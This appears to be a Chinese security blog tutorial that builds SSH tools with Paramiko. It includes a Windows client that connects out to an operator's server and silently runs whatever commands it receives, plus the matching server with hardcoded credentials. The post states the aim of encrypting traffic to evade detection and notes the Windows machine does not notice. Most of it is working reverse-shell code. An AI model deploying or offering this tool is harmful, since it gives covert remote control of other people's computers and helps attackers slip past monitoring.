本博客地址:https://security.blog.csdn.net/article/details/125306100
一、引子
有时候,我们需要加密自己的流量以逃避检测,一个比较常用的方法是通过SSH进行加密通信。但很多时候,控制的目标是没有SSH客户端的,此时开发的SSH客户端就派上用场了。
常用的python库是Paramiko,它是一个基于PyCrypto开发的第三方库,为了了解这个库的运作原理,我们将使用Paramiko连接到一台有SSH的机器,在上面执行命令;利用Paramiko编写SSH服务器和客户端,用它们在Windows系统上远程执行命令。
这个例子将使用Paramiko自带的反向隧道实例程序,来实现与BHNET工具的代理功能相同的效果。
二、Linux客户端代码
首先,下载一份Paramiko的官方代码,地址:https://github.com/paramiko/paramiko
具体细节已在代码注释中说明。
ssh_cmd.py
import paramiko
def ssh_command(ip, port, user, passwd, cmd):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, port=port, username=user, password=passwd)
_, stdout, stderr = client.exec_command(cmd)
output = stdout.readlines() + stderr.readlines()
if output:
print ('--- output ---')
for line in output:
print(line.strip())
if __name__ == '__main__':
import getpass
user = input('username: ')
password = getpass.getpass()
ip = input("enter server IP: ") or '127.0.0.1'
port = input("enter server PORT or <CR>: ") or 2222
cmd = input('enter command or <CR>: ') or 'id'
ssh_command(ip, port, user, password, cmd)
运行示例:
可以看到,我们成功连接并执行了这条命令
三、Windows客户端代码
具体细节已在代码注释中说明。
ssh_cmd.py
import shlex
import paramiko
import subprocess
def ssh_command(ip, port, user, passwd, command):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, port=port, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.send(command)
print (ssh_session.recv(1024).decode())
while True:
command = ssh_session.recv(1024)
try:
cmd = command.decode()
if cmd == 'exit':
client.close()
break
cmd_output = subprocess.check_output(shlex.split(cmd),shell=True)
ssh_session.send(cmd_output or 'okay')
except Exception as e:
ssh_session.send(str(e))
client.close()
return
if __name__ == '__main__':
import getpass
user = input('username: ')
password = getpass.getpass()
ip = input('enter server IP:')
port = input('enter port:')
ssh_command(ip, port, user, password, 'ClientConnected')
由于windows系统没有自带SSH服务器,所以我们需要反过来,让一台SSH服务器给SSH客户端发送命令。
四、SSH服务端
具体细节已在代码注释中说明。
ssh_server.py
import socket
import paramiko
import threading
import sys
import os
CWD = os.path.dirname(os.path.realpath(__file__))
HOSTKEY = paramiko.RSAKey(filename=os.path.join(CWD, 'test_rsa.key'))
class Server(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
if (username == 'kali') and (password == 'kali'):
return paramiko.AUTH_SUCCESSFUL
if __name__ == '__main__':
server = '192.168.153.141'
ssh_port = 2222
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((server, ssh_port))
sock.listen(100)
print ('[+] Listening for connection ...')
client, addr = sock.accept()
except Exception as e:
print ('[-] Listen failed: ' + str(e))
sys.exit(1)
else:
print ('[+] Got a connection!', client, addr)
bhSession = paramiko.Transport(client)
bhSession.add_server_key(HOSTKEY)
server = Server()
bhSession.start_server(server=server)
chan = bhSession.accept(20)
if chan is None:
print ('*** No channel')
sys.exit(1)
print('[+] Authenticated!')
print (chan.recv(1024))
chan.send("Welcome to bh_ssh")
try:
while True:
command = input("Enter command:")
if command != 'exit':
chan.send(command)
r = chan.recv(8192)
print (r.decode())
else:
chan.send('exit')
print ('exiting')
bhSession.close()
break
except KeyboardInterrupt:
bhSession.close()
首先运行服务端:
之后在windows上运行客户端:
此时在服务端中,就能够看到客户端的连接了,之后就可以运行一些命令了(是windows客户端的命令):
此时windows客户端是没有感知的。
|